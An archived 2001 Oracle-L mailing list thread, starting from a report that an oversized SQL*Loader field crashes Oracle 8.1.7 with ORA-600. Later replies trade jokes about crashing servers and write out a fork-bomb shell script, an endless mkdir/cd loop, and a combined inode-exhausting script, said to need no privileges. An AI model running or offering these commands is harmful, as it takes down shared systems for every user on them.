| Oracle FAQ | Your Portal to the Oracle Knowledge Grid | |
 |
 | |||
| Oracle FAQ | Your Portal to the Oracle Knowledge Grid | |
|
| |||
Home -> Community -> Mailing Lists -> Oracle-L -> RE: Cool way to crash an Oracle database, any time, any place
Chew up the inodes! Excellent. (Monty Burns "excellent" with the fingers twitching as opposed to the Bill and Ted "excellent" with the air guitar.)
echo 'mkdir $$; cd $$' > /tmp/t.sh echo '/tmp/t.sh &' >> /tmp/t.sh echo '/tmp/t.sh &' >> /tmp/t.sh
Your technological distinctiveness has been added to the collective...
Brian Norrell
Manager, MPI Development
QuadraMed
511 E John Carpenter Frwy, Su 500
Irving, TX 75062
(972) 831-6600
-----Original Message-----
Sent: Wednesday, May 09, 2001 8:40 PM
To: Multiple recipients of list ORACLE-L
yeah? Well how do you like this?
while :
do
mkdir ./t
cd ./t
;)
Jared
On Wednesday 09 May 2001 09:00, Norrell, Brian wrote:
> You want to crash the server? On any Unix box, execute the following four
> commands:
>
> echo './t.sh &' > t.sh
> echo './t.sh &' >> t.sh
> chmod 777 t.sh
> ./t.sh
>
> Don't even need special privileges to ruin everyone's day...
>
> Brian Norrell
> Manager, MPI Development
> QuadraMed
> 511 E John Carpenter Frwy, Su 500
> Irving, TX 75062
> (972) 831-6600
>
>
> -----Original Message-----
> Sent: Tuesday, May 08, 2001 11:23 AM
> To: Multiple recipients of list ORACLE-L
>
>
> Back a few years ago I remember being able to crash a NetWare server (4.x
I
> think) running an early version of Oracle7 just by running some
> syntactically incorrect SQL. Yup, that not only crashed the database, but
> also the server.
>
> Henry
>
> -----Original Message-----
> Sent: Tuesday, May 08, 2001 9:37 AM
> To: Multiple recipients of list ORACLE-L
>
>
> Hi Jared,
>
> Nope, not direct mode. The table contains a couple of CLOB columns.
>
> Haven't heard back from Oracle yet, but you're right, it is kind of scary.
> We were planning on using this environment for hosting some of our more
> active web sites.
>
> --Walt
>
> -----Original Message-----
> Sent: Monday, May 07, 2001 5:59 PM
> To: ORACLE-L_at_fatcity.com; Weaver, Walt
>
>
>
> Walt,
>
> What's scary about this is not just that you've managed to crash
> the database by very innocent means, but we don't know how else
> this bug can be invoked. It could be something equally innocuous.
>
> Q: Are you loading in direct mode?
>
> Jared
>
> On Monday 07 May 2001 16:20, Weaver, Walt wrote:
> > Just thought I'd share what I learned today with everyone. This is
Oracle
> > 8.1.7 on a VA Linux 4450, Linux Red Hat 6.2. I'm migrating customers
from
> > MySQL to Oracle, using Sqlloader to load the data into Oracle.
> >
> > In one table I have the following column: C$NOTES VARCHAR2(4000)
> >
> > In my Sqlloader script I have an entry: C$NOTES CHAR(4000)
> >
> > When I ran Sqlloader about 130 out of 35,000 rows were not loaded due to
> > a "inserted value too large for column" error on C$NOTES.
> >
> > So, just for grins I changed the Sqlloader entry to C$NOTES CHAR(40000).
> >
> > When I run Sqlloader for the table with this value, it crashes the
>
> database
>
> > every time with an ORA-600 [4620] [] [] [] [] [] error. Every dang time.
> > Pmon just gives up the ghost, man. Shuts the door and turns off the
>
> lights.
>
> > Dies a horrible death.
> >
> > Now, obviously I created this problem myself, but it seems to me that
> > Oracle
> >
> > should be able to handle this a bit more gracefully than it does. :>)
> >
> > Anybody else ever see this? I've logged an iTar on MetaMidget to inform
>
> the
>
> > authorities of the problem. My cursory search on MetaMidget uncovered
> > absolutely no evidenct that anyone knows about this.
> >
> > --Walt Weaver
> > Bozeman, Montana
-- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jared Still INET: jkstill_at_cybcon.com Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California -- Public Internet access / Mailing Lists -------------------------------------------------------------------- To REMOVE yourself from this mailing list, send an E-Mail message to: ListGuru_at_fatcity.com (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Norrell, Brian INET: BNorrell_at_QuadraMed.com Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051 San Diego, California -- Public Internet access / Mailing Lists -------------------------------------------------------------------- To REMOVE yourself from this mailing list, send an E-Mail message to: ListGuru_at_fatcity.com (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).Received on Thu May 10 2001 - 11:40:55 CDT
 |
 |